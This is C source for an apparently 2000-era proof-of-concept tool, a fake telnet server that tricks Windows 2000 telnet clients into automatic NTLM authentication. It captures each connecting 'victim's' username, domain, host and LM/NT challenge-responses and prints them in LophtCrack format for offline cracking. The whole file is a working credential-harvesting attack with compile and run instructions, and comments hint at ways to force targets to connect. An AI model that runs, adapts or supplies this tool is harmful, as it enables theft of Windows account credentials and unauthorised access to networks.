|
/* NTLM telnetD v0.8
Snarfs NTLM challenge/response by convincing w2k telnet client to
auto-authenticate.
Outputs auth-data in LophtCrack sniff format on stdout.
compile: gcc -o w2kteld ntlm_telnetd.c
run: ./w2kteld
Then wait for w2k to telnet to you.
for the impatient, there are always ways of making w2k telnet!
proof-of-concept version. more features to be added.
by yeza (8/2000)
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define LISTEN_PORT 23
#define LISTENADDR "0.0.0.0"
#define VERBOSE 0 // 1 for verbose
#define CHALLENGE "\xde\xad\xbe\xef\xde\xad\xbe\xef"
#define MAXBUF 2048
/* Below are hardcoded telnet negotiation values.
These are based on packet sniffs and as little decoding as possible.
I'm lazy and this isnt really a telnet server so why muck with telnet.h?
*/
static unsigned char *srv_neg1 =
"\xff\xfd\x25\xff\xfb\x01\xff\xfd\x03\
xff\xfd\x1f\xff\xfd\x00\xff\xfb\x00";
static unsigned int srv_neg1_sz = 18;
static unsigned char *srv_neg2 =
"\xff\xfa\x25\x01\x0f\x00\xff\xf0";
static unsigned int srv_neg2_sz = 8;
/* Below is the hardcoded NTLM challenge.
Change the 8-byte challenge above if you dont like the smell of 'deadbeef'
Change the hostname if desired -- but keep tabs on hostname len, telnet hdr
size and 'srv_fake_NTLM_challenge_sz' if you do.
*/
static unsigned char *srv_fake_NTLM_challenge =
"\xff\xfa\x25\x02\x0f\x00\x01" /* telnet auth head */
"\x38\x00\x00\x00" /* Size of challenge token */
"\x02\x00\x00\x00" /* L int = 2 ?unknown? */
"NTLMSSP\x00" /* Token header START TOKEN */
"\x02\x00\x00\x00" /* NTLM sequence = 2 */
"\x08\x00\x08\x00" /* hostname len (twice) */
"\x30\x00\x00\x00" /* hostname offset */
"\x05\x82\x02\x00" /* 4-byte flags */
CHALLENGE /* 8-byte challenge */
"\x00\x00\x00\x00\x00\x00\x00\x00" /* unused */
"\x00\x00\x00\x00" /* unused len */
"\x38\x00\x00\x00" /* unused offset */
"D\x00O\x00I\x00T\x00" /* hostname "DOIT"(u-code) END TOKEN */
"\xff\xf0" /* telnet auth tail */
;
static unsigned int srv_fake_NTLM_challenge_sz = 73;
int printhexdump (unsigned char *buf, int len)
{
int i;
for(i=0; i < len; i++) {
fprintf (stderr, "%02x ", buf[i]);
}
fprintf (stderr, "\n");
return (i);
}
void
cphex (unsigned char *dest, unsigned char *src, unsigned int dlen)
{
int i;
for (i=0; i < dlen; i+=2)
{
snprintf ((char *)(dest+i), 3,"%02x", src[(i/2)]);
}
}
void dropconn (int sock) {
close(sock);
fprintf(stderr, "\nConnection Closed\n");
}
/* Structure to hold snarfed auth. information */
struct client_info {
unsigned char user[128];
unsigned char dom[128];
unsigned char host[128];
unsigned char ipaddr[16];
unsigned char chal[17];
unsigned char lmh[49];
unsigned char nth[49];
} cli_info;
/* NTLM TOKEN HEADERS */
/* Request token header structure */
/* 32 bytes for this header */
struct reqtoken
{
unsigned char protocol[8]; // "NTLMSSP\0"
unsigned int type; // 1
unsigned char flags[4]; // NTLM flags
unsigned short dlen,dlen2; // Domain length
unsigned int dpos; // Domain position
unsigned short hlen,hlen2; // Hostname length
unsigned int hpos; // Hostname position
// unicode domain (variable length)
// unicode hostname (variable length)
};
/* Challenge token header structure */
/* 48 bytes for this header */
struct chaltoken
{
unsigned char protocol[8]; // "NTLMSSP\0"
unsigned int type; // 2
unsigned short hlen,hlen2; // Hostname length
unsigned int hpos; // Hostname position
unsigned char flags[4]; // NTLM flags
unsigned char chal[8]; // 8-byte NTLM Challenge
unsigned short nl,nl2; // unused length
unsigned int np; // unused position
unsigned short tl,tl2; // unknown, possibly unused
unsigned int tlen; // Total length of token.
// unicode hostname (variable length)
// unused string... does appear to be used by w2k telnetd
};
/* Response token header structure */
/* 64 bytes for this header */
struct resptoken
{
unsigned char protocol[8]; // "NTLMSSP\0"
unsigned int type; // 3
unsigned short lmrlen,lmrlen2; // LM hash response length (24 always)
unsigned int lmrpos; // LM hash response position
unsigned short ntrlen,ntrlen2; // NT hash response length (24 always)
unsigned int ntrpos; // NT hash response position
unsigned short dlen,dlen2; // Domain length
unsigned int dpos; // Domain position
unsigned short ulen,ulen2; // Username length
unsigned int upos; // Username position
unsigned short hlen,hlen2; // Hostname length
unsigned int hpos; // Hostname position
unsigned short tl,tl2; // unknown, presumably unused
unsigned int tlen; // Total length of token
unsigned char flags[4]; // NTLM flags
// unicode domain (variable length)
// unicode user (variable length)
// unicode hostname (variable length)
// lm hash response (24-bytes)
// nt hash response (24-bytes)
};
/* Stupid little Unicode helper */
int
lame_ucode(unsigned char *dst, unsigned char *src, int len)
{
int i;
for(i=0;i<len;i++){
*(dst++) = src[i];
*(dst++) = '\0';
}
return (i);
}
/* Stupid little de-Unicode helper */
int
lame_deucode(unsigned char *dst, unsigned char *src, int len, int maxlen)
{
int i;
len--;
if (maxlen < (len)) len=maxlen;
for(i=0;i<len;i++){
if (src[i] != '\0')
*(dst++) = src[i];
}
*(dst++) = '\0'; /* Throw in -1- null... !@#$AT THE END!@#$ */
return(strlen(dst));
}
void
get_resptoken(unsigned char *src, unsigned int len)
{
struct resptoken *rp = (struct resptoken *) src;
lame_deucode(cli_info.user, (unsigned char *) rp+rp->upos,
rp->ulen, sizeof(cli_info.user));
lame_deucode(cli_info.host, (unsigned char *) rp+rp->hpos,
rp->hlen, sizeof(cli_info.host));
lame_deucode(cli_info.dom, (unsigned char *) rp+rp->dpos,
rp->dlen, sizeof(cli_info.dom));
cphex(cli_info.lmh, (unsigned char*) rp+rp->lmrpos, 48);
cphex(cli_info.nth, (unsigned char*) rp+rp->ntrpos, 48);
}
/* gettoken
Check 'len' bytes from 'src' as an NTLM token
fork get_resptoken depending on type.
Returns 0 if everything looks good.
*/
int
gettoken (unsigned char *src, unsigned int len)
{
struct chaltoken *srctk = (struct chaltoken *) src;
unsigned int type = *(src+8);
/* check protocol */
if ((strncmp(src, "NTLMSSP\0", 8)) || (type > 3))
return (-1);
if(type == 1)
{
fprintf(stderr, "Got NTLM request token\n");
return(0);
}
else if(type == 3)
{
if(len > (sizeof(struct resptoken)) + 48) {
fprintf(stderr, "Got NTLM response token\n");
get_resptoken(src,len);
} else {
return(-1);
}
} else {
fprintf(stderr, "Type 2 not handled\n");
return(-1);
}
return(0);
}
void
usage(unsigned char *progname) {
fprintf(stderr,
"Usage: %s [options]\n", progname);
fprintf(stderr,
" -v verbose\n"
" -l port listen on 'port'\n"
" -h help\n");
exit(1);
}
int
main(int argc, char **argv)
{
struct sockaddr_in server, client;
unsigned int lsock, o;
unsigned int port = LISTEN_PORT;
unsigned int verbose = VERBOSE;
ssize_t rlen, ctklen;
unsigned char rbuf[MAXBUF];
unsigned char ntlm_challenge[8] = CHALLENGE;
cphex(cli_info.chal, ntlm_challenge, 16);
fprintf(stderr,"[ Fake NTLM Telnet Daemon - by yeza ]\n");
while ((o = getopt(argc, argv, "vl:h")) != -1) {
switch(o) {
case 'v':
++verbose;
break;
case 'l':
if(optarg) {
port = atoi(optarg);
break;
} else {
usage(argv[0]);
}
case 'h':
usage(argv[0]);
}
}
lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (lsock < 0) {
fprintf(stderr, "Cannot create listening socket: %m\n");
exit(1);
}
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(LISTENADDR);
server.sin_port = htons(port);
if (bind(lsock, (struct sockaddr *) &server, sizeof(server)) < 0) {
fprintf(stderr, "Cannot bind socket: %m\n");
close(lsock);
exit(1);
}
listen(lsock, 200);
fprintf(stderr, "Listening on port %d\n", ntohs(server.sin_port));
fprintf(stderr, "Awaiting connections\n\n");
while (1) {
int csock, cl_addrlen;
unsigned int reqlen, resplen;
if((csock = accept(lsock, 0, 0)) < 0) {
fprintf(stderr, "Cannot accept socket: %m\n");
continue;
}
cl_addrlen = sizeof(client);
if(getpeername(csock, &client, &cl_addrlen) < 0) {
fprintf(stderr, "Cannot get peer name of remote host: %m\n");
dropconn(csock);
continue;
}
fprintf(stderr, "Connection from: %s\n",
(char *) inet_ntoa(client.sin_addr.s_addr));
strncpy(cli_info.ipaddr,(char *)inet_ntoa(client.sin_addr.s_addr), 15);
/* ============ This begins our telnet auth handshake ===============*/
/* server sends: (srv_neg1)
DO AUTHENTICATION, WILL ECHO, DO SUPPRESS GO AHEAD, DO NAWS,
DO BINARY, WILL BINARY
*/
send(csock, (char *) srv_neg1, srv_neg1_sz, 0);
/* client sends back:
WILL AUTHENTICATION
*/
rlen = recv(csock, (char *) rbuf, MAXBUF, 0);
if(verbose>0){
fprintf(stderr, "\n%d byte response to neg1 =\n", rlen );
printhexdump(rbuf, rlen);
}
if(strncmp(rbuf, "\xff\xfb\x25", 3) != 0) { //just check first 3 bytes
fprintf(stderr, "Wrong telnet neg1 response from client\n");
dropconn(csock);
continue;
}
memset(rbuf, '\0', MAXBUF);rlen=0;
/* server sends: (srv_neg2)
SB AUTHENTICATION SEND ... SE
*/
send(csock, (char *) srv_neg2, srv_neg2_sz, 0);
rlen = recv(csock, (char *) rbuf, MAXBUF, 0);
if(verbose>0) {
fprintf(stderr, "\n%d byte response to neg2 =\n", rlen );
printhexdump(rbuf, rlen);
}
if(strncmp(rbuf, "\xff\xfd", 2) != 0) {
fprintf(stderr, "Wrong telnet neg2 response from client\n");
dropconn(csock);
continue;
}
memset(rbuf, '\0', MAXBUF); rlen=0;
/* Receive what should be the NTLM Request Token */
rlen = recv(csock, (char *) rbuf, MAXBUF, 0);
if(verbose>0) {
fprintf(stderr, "\nReceived %d byte request token =\n", rlen );
printhexdump(rbuf, rlen);
}
if(gettoken( rbuf+15, *(rbuf+7)) != 0) {
fprintf(stderr, "Doesnt look like a NTLM request token.\n");
dropconn(csock);
continue;
}
memset(rbuf, '\0', MAXBUF);rlen=0;
/* Send NTLM Challenge Token */
fprintf (stderr, "Sending NTLM challenge token\n");
if(verbose>0) {
printhexdump(srv_fake_NTLM_challenge, srv_fake_NTLM_challenge_sz);
}
send(csock, (char *) srv_fake_NTLM_challenge,
srv_fake_NTLM_challenge_sz,
0);
/* Receive what should be the NTLM Response Token */
rlen = recv(csock, (char *) rbuf, MAXBUF, 0);
if(verbose>0) {
fprintf(stderr, "\n%d byte response to challenge=\n", rlen );
printhexdump(rbuf, rlen);
fprintf(stderr, "\n");
}
if(gettoken(rbuf+15, *(rbuf+7)) != 0) {
fprintf(stderr, "Doesnt look like a NTLM request token.\n");
dropconn(csock);
continue;
}
memset(rbuf, '\0', MAXBUF);rlen=0;
/* Were done with this victim */
dropconn(csock);
fprintf(stdout, "%s\\%s@%s/%s:3:%s:%s:%s\n",
cli_info.dom,
cli_info.user,
cli_info.ipaddr,
cli_info.host,
cli_info.chal,
cli_info.lmh,
cli_info.nth);
fflush(stdout);
}
close(lsock);
return(0);
}
|